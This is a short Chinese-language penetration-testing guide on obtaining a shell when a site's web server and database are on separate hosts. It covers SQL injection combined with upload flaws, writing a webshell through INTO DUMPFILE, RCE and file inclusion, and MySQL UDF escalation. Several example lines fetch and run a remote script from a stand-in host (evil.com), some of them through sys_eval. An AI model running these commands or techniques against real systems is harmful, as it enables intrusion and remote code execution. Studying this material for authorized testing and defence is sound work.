### 站库分离怎么拿 Shell **1. SQL 注入结合文件上传或文件写入漏洞** 即使无法直接写入 `webshell`,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等 **渗透思路:** - 利用SQL注入读取网站的配置文件,获取文件上传路径 - 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`) - 结合文件上传漏洞,上传精心构造的 `webshell` **2. 利用数据库的写权限进行命令执行** 在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()`、`SELECT ... INTO DUMPFILE` 等函数,将恶意代码写入到 Web 服务器的可写目录中 **渗透思路:** - **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件,寻找可写的目录路径 - **写入`webshell`**: 尝试使用`SELECT '' INTO DUMPFILE '/var/www/html/upload/shell.php'` 将 `webshell` 代码写入到Web服务器的 `upload` 目录 - **注意**: 这种方法需要数据库用户具有 `file_priv` 权限,并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下,这种配置是**不推荐**的,但仍有可能存在 **3. 利用 Web 服务器自身的漏洞** 这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)**或**文件包含(LFI/RFI)**等高危漏洞 **渗透思路:** - **远程命令执行(RCE)**: 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如`curl http://evil.com/shell.txt | sh`,下载并执行恶意脚本,从而获取反弹`shell`或写入`webshell` - **文件包含(LFI/RFI)**: 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器,从而执行恶意代码 **4. 通过数据库的 UDF 函数提权** 如果攻击者在数据库上拥有足够高的权限(例如`root`),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令 **渗透思路:** - **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限 - **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录 - **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令 - **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')` - **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器